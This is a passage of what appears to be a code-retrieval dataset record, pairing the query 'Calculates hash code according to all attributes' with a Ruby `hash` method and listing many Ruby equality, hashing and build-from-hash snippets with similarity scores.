"def eql?(other)\n return true if equal?(other)\n\n # two instances for different models cannot be equivalent\n return false unless other.kind_of?(model)\n\n # two instances with different keys cannot be equivalent\n return false if key != other.key\n\n # neither object has changed since loaded, so they are equivalent\n return true if repository == other.repository && !dirty? && !other.dirty?\n\n # get all the loaded and non-loaded properties that are not keys,\n # since the key comparison was performed earlier\n loaded, not_loaded = properties.select { |p| !p.key? }.partition do |property|\n attribute_loaded?(property.name) && other.attribute_loaded?(property.name)\n end\n\n # check all loaded properties, and then all unloaded properties\n (loaded + not_loaded).all? { |p| p.get(self) == p.get(other) }\n end",
"def assert_event_are_light_equal e1, e2\n return false if e1.class != e2.class\n\n [:subject, :event, :moodid,\n :mood, :music, :location, :taglist, :pickeyword,\n :preformatted, :backdated, :comments, :security, :allowmask,\n :screening,].each do |attr|\n return false if e1.send(attr) != e2.send(attr)\n end\n\n e1.compare_time(e2)\n end",
"def eql(expected)\n set_relativity(:eql, expected)\n end",
"def modified?( original )\n DATA_ATTRIBUTES.any? { |e| send( e ) != original.send( e )}\n end",
"def ==(other)\n @name == other.name && @amount == other.amount\n end",
"def ==(other)\n other.kind_of?(self.class) &&\n @name == other.name && @columns == other.columns && @unique == other.unique?\n end",
"def match_same_name_attributes(*options)\n\n options = options.extract_options!\n same_name_attributes = @from_table.columns.map(&:name) & @to_table.columns.map(&:name)\n\n if same_name_attributes\n same_name_attributes = columns_from_options(same_name_attributes, options)\n same_name_attributes.each do |same_name_attribute|\n from same_name_attribute, :to => same_name_attribute\n end\n end\n end",
"def equal_pair(key, request)\n if @event[\"required\"][key] == request[\"object_attributes\"][key] || event[\"required\"][key] == \"\"\n true\n else\n false\n end\n end",
"def assert_equal(att, value, error = [att, :not_equal])\n assert value === send(att), error\n end",
"def validate\n matched = {}\n duplicated_attributes = []\n attributes.each do |attribute|\n if matched.has_key?(attribute.name) && matched[attribute.name] == attribute.name_format\n duplicated_attributes << attribute.name unless duplicated_attributes.include?(attribute.name)\n else\n matched[attribute.name] = attribute.name_format\n end\n end\n if !duplicated_attributes.empty?\n raise ValidationError, \"An attribute with the same name and name format may only be specified once. The following attributes were specified multiple times: #{duplicated_attributes.join(',')}\"\n end\n end"
] | [
"0.7291717",
"0.7188103",
"0.70395297",
"0.7007927",
"0.68874705",
"0.6861532",
"0.6707156",
"0.6660597",
"0.66147524",
"0.658478",
"0.6584619",
"0.6580019",
"0.65543133",
"0.6543933",
"0.65068495",
"0.6479513",
"0.6456241",
"0.6415999",
"0.6412208",
"0.6412208",
"0.6412208",
"0.6411266",
"0.6380575",
"0.63775986",
"0.6260147",
"0.6246534",
"0.6240681",
"0.62150854",
"0.62014365",
"0.6186426",
"0.61837834",
"0.6164858",
"0.61304426",
"0.61149454",
"0.6097789",
"0.6083095",
"0.6078927",
"0.6067201",
"0.60053444",
"0.59974694",
"0.5994989",
"0.5991373",
"0.59856457",
"0.5985243",
"0.5977118",
"0.59521115",
"0.59428704",
"0.59311265",
"0.59247756",
"0.5921222",
"0.5921222",
"0.59095234",
"0.58795947",
"0.58789194",
"0.5870439",
"0.58598673",
"0.58571184",
"0.5856412",
"0.5855177",
"0.58480394",
"0.5847516",
"0.58370507",
"0.5799985",
"0.5795313",
"0.57880926",
"0.57823527",
"0.57788265",
"0.5776185",
"0.57670164",
"0.5759791",
"0.5758563",
"0.5753949",
"0.57518554",
"0.5750137",
"0.57385117",
"0.57309806",
"0.5729126",
"0.572618",
"0.57250285",
"0.57210624",
"0.5712646",
"0.5710082",
"0.57059866",
"0.57036847",
"0.5702592",
"0.5690256",
"0.5674193",
"0.56433815",
"0.5641553",
"0.56216776",
"0.56148046",
"0.5591313",
"0.5587681",
"0.55836356",
"0.5569298",
"0.5550885",
"0.5546161",
"0.5545665",
"0.55422115",
"0.5539372",
"0.5529004"
] | 0.0 | -1 |
Calculates hash code according to all attributes. | def hash
[admin_flag, allow_expenses_entered_against_companies_flag, allow_in_cell_entry_on_time_sheet, billable_forecast, calendar, calendar_sync_integration_flag, country, daily_capacity, days_tolerance, default_department_id, default_email, default_location_id, default_phone, disable_online_flag, enable_ldap_authentication_flag, enable_mobile_flag, enable_mobile_gps_flag, enter_time_against_company_flag, expense_approver, first_name, hide_member_in_dispatch_portal_flag, hire_date, home_email, home_extension, home_phone, hourly_cost, hourly_rate, id, identifier, inactive_date, inactive_flag, include_in_utilization_reporting_flag, last_login, last_name, license_class, mapi_name, middle_initial, minimum_hours, mobile_email, mobile_extension, mobile_phone, notes, office_email, office_extension, office_phone, project_default_board, project_default_department_id, project_default_location_id, reports_to, require_expense_entry_flag, require_start_and_end_time_on_time_entry_flag, require_time_sheet_entry_flag, restrict_default_sales_territory_flag, restrict_default_warehouse_bin_flag, restrict_default_warehouse_flag, restrict_department_flag, restrict_location_flag, restrict_project_default_department_flag, restrict_project_default_location_flag, restrict_schedule_flag, restrict_service_default_department_flag, restrict_service_default_location_flag, sales_default_location_id, schedule_capacity, schedule_default_department_id, schedule_default_location_id, security_level, security_location_id, security_role, service_default_board, service_default_department_id, service_default_location_id, service_location, service_teams, time_approver, time_reminder_email_flag, time_sheet_start_date, time_zone, title, type, vendor_number, warehouse, warehouse_bin, work_role, work_type, _info, system_flag].hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"def hash(*) end",
"def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"def hash_code; end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end",
"def hash\n prime = 31\n result = 1\n result = result * prime + (@decision_target == nil ? 0 : @decision_target.hash)\n result = prime * result + (@string_id == nil ? 0 : @string_id.hash)\n result\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def hash\n size.hash ^ rank.hash\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash\n @hash || calculate_hash!\n end",
"def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end",
"def hash\n value = 0\n my_rows = @rows\n r_size = my_rows.size\n for i in 0..r_size-1 do\n a_row = my_rows[i]\n a_size = a_row.size\n for j in 0..a_size-1 do\n value ^= a_row[j].hash\n end\n end\n return value\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n [self.class, self.val, self.attribute].hash\n end",
"def hash\n 0\n end",
"def hash # :nodoc:\n identifier.hash ^ requirement.hash\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def hash_code\n prime = 31\n result = 1\n result = prime * result + x\n result = prime * result + y\n return result;\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def hash!\n\t\t@@email.downcase!\n\t\thash = Digest::MD5.hexdigest(@@email)\n\t\treturn hash\n\tend",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def hash\n ([self.class] + self.class.comparison_attrs.map{|x| send(x)}).hash\n end",
"def hash\n @symbols.hash + 37*positive?.hash\n end",
"def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash\n # Memoizing such a simple hash value seems silly, however the\n # profiler showed the Card#hash method as having 22% of the runtime. My\n # memoizing the hash value that was reduced to 12%.\n return @hash unless @hash.nil?\n @hash = @value.hash ^ @suit.hash\n end",
"def hash=(_arg0); end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n [oct, pc].hash\n end",
"def hash\n excl = @excl ? 1 : 0\n hash = excl\n hash ^= @begin.hash << 1\n hash ^= @end.hash << 9\n hash ^= excl << 24;\n # Are we throwing away too much here for a good hash value distribution?\n return hash & Fixnum::MAX\n end",
"def hash\n code.hash\n end",
"def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end",
"def hash\n @vbits.hash\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def hash\n if @sha512hash != nil\n return @sha512hash.to_i(16)\n else\n super\n end\n end",
"def calc_hash(pass)\n salt_cost = SCrypt::Engine.autodetect_cost(self[:salt])\n SCrypt::Engine.scrypt(pass, self[:salt], salt_cost, 32).unpack('H*').first\n end",
"def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end",
"def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
"def hash\n code.hash\n end",
"def hash\n\t\t[@a, @b, self.class::D].hash\n\tend",
"def consistent_hash\n Zlib.crc32(self.to_yaml, 0)\n end",
"def hash\n @hash[:perm_type].hash ^\n @hash[:perms].hash ^\n @hash[:inheritance].hash ^\n @hash[:target].hash\n end",
"def hash( *strs )\n return Digest::MD5.hexdigest( strs.join )\n end",
"def hash\n @rank.hash ^ @suit.hash\n end",
"def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end",
"def hash\n @real.hash ^ @image.hash\n end",
"def to_hash() end",
"def hash_length\n super\n end",
"def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"def hash() source.hash ^ target.hash; end",
"def hash\n [first_name, last_name, address_one, address_two, city, state, zip, phone, email, country_code].hash\n end",
"def calculate_hash(input, prep_hashes)\n result = 0\n input.unpack('U*').each do |x|\n result += prep_hashes.hash(x)\n end\n (result % MOD_VALUE).to_s(HEX)\nend",
"def c_hash\n sha256 = Digest::SHA256.new\n token = @code.token.token\n hashed_token = sha256.digest(token)\n first_half = hashed_token[0...hashed_token.length / 2]\n Base64.urlsafe_encode64(first_half).tr('=', '')\n end",
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def calculate_hash\n\t\toptions = {:firstname => firstname, :email => email, :phone => phone, :txnid => txnid, :surl => surl, :furl => furl, :productinfo => productinfo, :amount => amount}\n\t\tservice = PayuIndia::Helper.new(payment_gateway_key, payment_gateway_salt, options)\n\t\tself.hast = service.generate_checksum\n\tend",
"def hash\n [rank, suit].hash\n end",
"def hash\n self.class.hash ^ left.hash ^ right.hash\n end",
"def generate_hash(*args)\n Digest::SHA3.hexdigest(args.join(''))\n end",
"def hash_code\n hash_code = {}\n self.seq.each do |letter|\n hash_code.keys.include?(letter) ? hash_code[letter] += 1 : hash_code[letter] = 1\n end\n hash_code\n end",
"def hashify_attributes(attrs)\n Hash.new.tap{ |h| attrs.each{|a| h[a] = self.send(a)} }\n end",
"def hash\n\n self.h.fei.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end"
] | [
"0.7118691",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.68960655",
"0.67847186",
"0.6707762",
"0.670052",
"0.6688737",
"0.66705376",
"0.6489735",
"0.6462376",
"0.6462376",
"0.64444333",
"0.6413127",
"0.6395483",
"0.63898623",
"0.6372129",
"0.635671",
"0.63370055",
"0.62682766",
"0.62533766",
"0.6246914",
"0.6230963",
"0.62173444",
"0.6214272",
"0.6214131",
"0.61962456",
"0.619165",
"0.61866295",
"0.6185355",
"0.6185355",
"0.6153702",
"0.6145376",
"0.6144877",
"0.6139152",
"0.6128312",
"0.61224943",
"0.61217207",
"0.61205214",
"0.61041045",
"0.61000645",
"0.60937095",
"0.60931146",
"0.60818595",
"0.60811466",
"0.60500103",
"0.60322344",
"0.6022704",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.60178953",
"0.6014942",
"0.5997442",
"0.59880185",
"0.598736",
"0.59799886",
"0.5972682",
"0.5969595",
"0.5969411",
"0.59594935",
"0.5957466",
"0.59423596",
"0.5942144",
"0.59245354",
"0.5924357",
"0.5904946",
"0.59025365",
"0.58536685",
"0.5847055",
"0.58454466",
"0.5845053",
"0.58447546",
"0.5844059",
"0.5842638",
"0.5840575",
"0.58391696",
"0.5825819",
"0.5824118",
"0.5823615",
"0.58184344",
"0.5815284",
"0.58124787",
"0.5810309",
"0.5808056",
"0.5808056",
"0.5808056",
"0.5806852",
"0.5806852"
] | 0.0 | -1 |
Builds the object from hash | def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build(hash)\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v if variables[k]\n end\n return obj\n end",
"def build_from_hash(attributes)\n\n end",
"def build_from_hash(hash)\n instance = self.new\n\n # Add the instance attributes dynamically from the hash. If the attribute\n # does not already exist, then don't re-add the attribute class and\n # variable, just set it with the value from the hash\n hash.keys.each do |key|\n class_eval { attr_accessor key } unless instance.methods.include?(key.to_sym)\n instance.instance_variable_set \"@#{key}\", hash[key]\n end\n\n instance\n end",
"def build(hash, track_changes = true)\n resource = fields.each_with_object(new) do |field, r|\n value = hash.fetch(field.to_s, hash[field.to_sym])\n r.send(\"#{field}=\", value)\n end\n resource.clear_changes! unless track_changes\n resource\n end",
"def initialize hash\n @hash = hash\n end",
"def build(params)\n return new(params) if params.is_a?(Hash)\n raise(\"unexpected parameter, expected Hash, received #{params.class}\")\n end",
"def initialize( hash )\n\t\t\t@hash = hash.dup\n\t\t\t@dirty = false\n\t\tend",
"def initialize(a_hash)\n from_h(a_hash)\n end",
"def initialize\n\t\t\t@hash = {}\n\t\tend",
"def initialize(hash)\n @hash = hash\n @converted = {}\n end",
"def initialize(hash)\n @short_code = hash[\"short_code\"]\n @name = hash[\"name\"]\n @id = hash[\"id\"]\n end",
"def initialize(hash)\n super(hash)\n end",
"def initialize\n @h = new_hash\n end",
"def new_from_hash(hash)\n if hash == nil\n self.class.new.assign(self)\n else\n hash_obj = hash\n if hash.instance_of?(Hash)\n hash_obj = self.class.new\n merge_hash_into_object(hash, hash_obj)\n end\n instance = self.class.new\n object_assign(instance, hash_obj)\n end\n end",
"def initialize(hash={})\n @hash = hash\n end",
"def initialize\n @hash = {}\n end",
"def initialize\n @hash = {}\n end",
"def initialize(hash)\r\n hash.each { |k, v|\r\n # Create getters and setters\r\n self.class.attr_accessor(k)\r\n # Set value for created variable\r\n self.send(\"#{k}=\", v)\r\n }\r\n self.class.all.push(self)\r\n end",
"def build!(hash)\n hash.must(::Hash) { raise ArgumentError, \"#{self} expects Hash, but got #{hash.class}\" }\n\n if hash.size != variables.size\n keys1 = variables.keys\n keys2 = hash.keys.map(&:to_s)\n minus = (keys1 - keys2).map{|i| \"-#{i}\"}\n plus = (keys2 - keys1).map{|i| \"+#{i}\"}\n \n msg = \"#{self} expects #{variables.size}, but got #{hash.size} (%s)\" % (minus + plus).join(\",\")\n raise Typed::SizeMismatch, msg\n end\n\n # 'build' just ignore unknown fields, but 'build!' raise errors\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v\n end\n return obj\n end",
"def initialize(hash)\n @cw_id = hash[\"cw_id\"]\n @cik = hash[\"cik\"]\n @name = hash[\"company_name\"]\n @irs_number = hash[\"irs_number\"]\n @sic_code = hash[\"sic_code\"]\n @industry = hash[\"industry_name\"]\n @sic_sector = hash[\"sic_sector\"]\n @sector_name = hash[\"sector_name\"]\n @source_type = hash[\"source_type\"]\n @address = hash[\"raw_address\"]\n @country = hash[\"country_code\"]\n @state = hash[\"subdiv_code\"]\n @top_parent_id = hash[\"top_parent_id\"]\n @num_parents = hash[\"num_parents\"]\n @num_children = hash[\"num_children\"]\n @max_year = hash[\"max_year\"]\n @min_year = hash[\"min_year\"]\n end",
"def from_hash(hash)\n instance = allocate\n instance.instance_variable_set :@attributes, hash.freeze\n instance\n end",
"def from_hash(hash)\n hash = DEFAULTS.merge(hash)\n hash['spdx_id'] = hash.delete('spdx-id')\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"def initialize(hash=nil)\n @table = HashWithIndifferentAccess.new\n\n for k,v in hash\n @table[k] = v\n new_ostruct_member(k)\n end if hash\n end",
"def initialize(hash)\n @hash = hash\n @data = resourcify_data\n end",
"def from_hash hash\n @id= hash['id']\n\n @admin= hash['admin']\n @username= hash['username']\n @timezone= hash['timezone']\n @email_address= hash['email_address']\n\n @password = nil\n\n @created_at= DateTime.parse(hash['created_at'])\n @updated_at= DateTime.parse(hash['updated_at'])\n end",
"def hash_to_obj hash\n OpenStruct.new(hash) rescue raise ConfigError, \"Can't convert setup to object\"\n end",
"def from_hash( h)\n\t\th.each { |name,attributes|\n\t\t\tklass = Klass.new\n\t\t\tklass.from_hash( { name => attributes } )\n\t\t\tself.add_class( klass)\n\t\t}\n\n\t\t# this is an experiment in handling \"through\" attributes\n\t\t# i.e. enriching the model with the join classes\n\tend",
"def initialize(hash)\n load_hash(hash)\n end",
"def initialize(*args)\n super\n # hash = {}\n end",
"def build_object(resp)\n return resp unless resp.respond_to?(:merge)\n @build_object ||= final_object_class.new(resp.merge(additional_hash_to_serialize_after_response))\n end",
"def from_hash(hash)\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"def __convert hash #:nodoc:\n instance = self.class.new\n hash.each do |k, v|\n k = k.to_s if !k.respond_to?(:to_sym) && k.respond_to?(:to_s)\n instance.new_ostruct_member k\n if v.is_a?(Hash)\n v = v[\"type\"] == \"hash\" ? v[\"contents\"] : __convert(v)\n elsif v.is_a?(Array)\n v = v.map{|e| e.instance_of?(Hash) ? __convert(e) : e}\n end\n instance.send \"#{k}=\".to_sym, v\n end\n instance\n end",
"def initialize(hash)\n\t\t@id = hash['id']\n\t\t@first_name = hash['first_name']\n\t\t@last_name = hash['last_name']\n\t\t@mentor = hash['mentor']\n\tend",
"def initialize(hash={})\n @name = validate_name(hash[:name])\n @description = hash[:description]\n @snmp_opts = hash[:snmp_opts]\n\n save # Save a copy of self to Redis on creation\n end",
"def initialize\n @hash_dict = {}\n end",
"def initialize(hash=nil)\n @attributes = hash\n @attributes ||= {}\n end",
"def initialize(hash={})\n self.init_attrs_from_hash(hash)\n end",
"def from_hash(hash)\n apply_nested_hash(hash)\n end",
"def initialize(hash)\n # @id = hash[\"id\"]\n # @street_address = hash[\"street_address\"]\n # @city = hash[\"city\"]\n # @state = hash[\"state\"]\n # @zipcode = hash[\"zipcode\"]\n # @country = hash[\"country\"]\n\n #add in correct details\n end",
"def from_hash(hash)\n @data_object.user_acc_name = hash['user_acc_name']\n @data_object.user_affiliate = hash['user_affiliate']\n @user_over_13 = hash['user_over_13']\n\n contact.from_hash(hash)\n end",
"def initialize(hash)\n @name = hash[\"campaign\"] #decided to change it to \"name\" since this is the campaign class\n date_elements = hash[\"date\"].split(\"/\") #date is being passed in as a string, need this array to create the Date object in the next line\n @date = Date.new(date_elements[2].to_i + 2000, date_elements[0].to_i, date_elements[1].to_i) #added 2000 to year since the program was considering it as the year 15; this creates the date object\n @spend = hash[\"spend\"].to_f #use .to_f to make sure spend comes in as a float instead of a string\n @impressions = hash[\"impressions\"].to_i #need it as an integer for counting purposes later\n @actions = JSON.parse(hash[\"actions\"])#ensures that each action comes in as an array instead of a string\n @@all << self #shovels it into the all array\n end",
"def initialize(hash)\n hash.each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\")\n end\n @id = hash[\"id\"]\n end",
"def initialize (hash)\n hash.each {|key, value|\n self.class.attr_accessor(key)\n self.send((\"#{key}=\"), value)\n }\n @@all << self\n end",
"def initialize(hash={})\n @data = Hash.new\n hash.each do |key, value|\n self[key] = value\n end\n end",
"def create_from_hash(hash, opts={})\n create_opts = update_or_create_options(hash, opts)\n create { |instance| instance.set(create_opts) }\n end",
"def initialize(hash={})\n # assign the attributes here (???)\n hash.each do |k, v| # name = id, name, etc.\n self.send(\"#{k}=\", v)\n # self.k = v # there's no '.k' method\n #binding.pry\n end\n end",
"def initialize(hash) #.new\n @name = hash[:name][0]\n @region = hash[:region]\n @population = hash[:population]\n @capital = hash[:capital]\n @flag_link = hash[:flag_link]\n @@all << self\n #binding.pry\n end",
"def initialize(hash = {})\n super(hash)\n\n @action = extract_value(hash, :action)\n @clientId = extract_value(hash, :clientId)\n @clientIdAlias = extract_value(hash, :clientIdAlias)\n @clientIdAliasUsed = extract_boolean_value(hash, :clientIdAliasUsed)\n @expiresAt = extract_integer_value(hash, :expiresAt)\n @subject = extract_value(hash, :subject)\n @scopes = extract_value(hash, :scopes)\n @existent = extract_boolean_value(hash, :existent)\n @usable = extract_boolean_value(hash, :usable)\n @sufficient = extract_boolean_value(hash, :sufficient)\n @refreshable = extract_boolean_value(hash, :refreshable)\n @responseContent = extract_value(hash, :responseContent)\n @properties = extract_array_value(hash, :scopes) do |element|\n Authlete::Model::Property.parse(element)\n end\n end",
"def initialize( hash )\n\t\t@object_classes = self.parse_objectclasses( hash['objectClasses'] || [] )\n\t\t@attribute_types = self.parse_attribute_types( hash['attributeTypes'] || [] )\n\t\t@ldap_syntaxes = self.parse_ldap_syntaxes( hash['ldapSyntaxes'] || [] )\n\t\t@matching_rules = self.parse_matching_rules( hash['matchingRules'] || [] )\n\t\t@matching_rule_uses = self.parse_matching_rule_uses( hash['matchingRuleUse'] || [] )\n\tend",
"def from_hash(hash)\n super(hash)\n verify\n end",
"def objects_from_serialized_hash(hash) # :nodoc:\n klass, attributes = Helpers.to_class_and_attributes(hash)\n klass.from_seedable_attributes(attributes)\n end",
"def initialize (hash)\n @name = hash [:name]\n @color = hash [:color]\n @robots = hash [:robots]\n @moon_count = hash [:moon_count]\n @cats = hash [:cats]\n #@solar_rotation = solar_rotation .....I dont really understand what a solar rotation is.... it's confusing.....\n @distance_from_the_sun = hash [:distance_from_the_sun]\n end",
"def _from_hash(hsh)\n hsh.each do |k, v|\n v = restore_hash(v)\n v = v.map { |iv| restore_hash(iv) } if v.is_a?(Array)\n send(:\"#{k}=\", v)\n end\n self\n end",
"def initialize(hash = nil)\n @arguments = 0\n return if hash.nil?\n @name = hash['name']\n @arguments = hash['arguments']\n end",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"def initialize(hash={})\n self.attributes = hash\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def build(base, object, type = nil, selected_fields = nil)\n return object unless object.is_a?(Hash)\n if _loading?\n Factory.from_db(klass, object, nil, selected_fields)\n else\n Factory.build(klass, object)\n end\n end",
"def initialize(hash)\n super(hash)\n @size = hash[\"size\"]\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @cost, @salt, @digest = split_hash(self.to_s)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def instantiate hash, extra_attributes={}\n return hash unless hash.kind_of? Hash\n# init = hash.values_at(*@singulars).compact.first\n init = hash[@singular]\n inits = hash[@plural]\n if init\n new init.merge extra_attributes\n elsif inits\n inits.map {|each| new each.merge extra_attributes}\n else\n hash\n end\n end",
"def from_hash(values)\n @data_object.team_challenge = values['team_challenge']\n @data_object.team_level = values['team_level']\n @data_object.team_name = values['team_name']\n\n# @mgr_email = values['mgr_email']\n\n names = values['tm_name']\n\n TeamMember::MEMBERS_PER_TEAM.times do |i|\n if names[i].empty?\n @members[i].clear\n else\n @members[i].tm_name = names[i]\n @members[i].tm_grade = values['tm_grade'][i].to_i\n @members[i].tm_dob_mon = values['tm_dob_mon'][i]\n @members[i].tm_dob_day = values['tm_dob_day'][i]\n @members[i].tm_dob_year = values['tm_dob_year'][i]\n @members[i].tm_sex = values['tm_sex'][i]\n end\n end\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
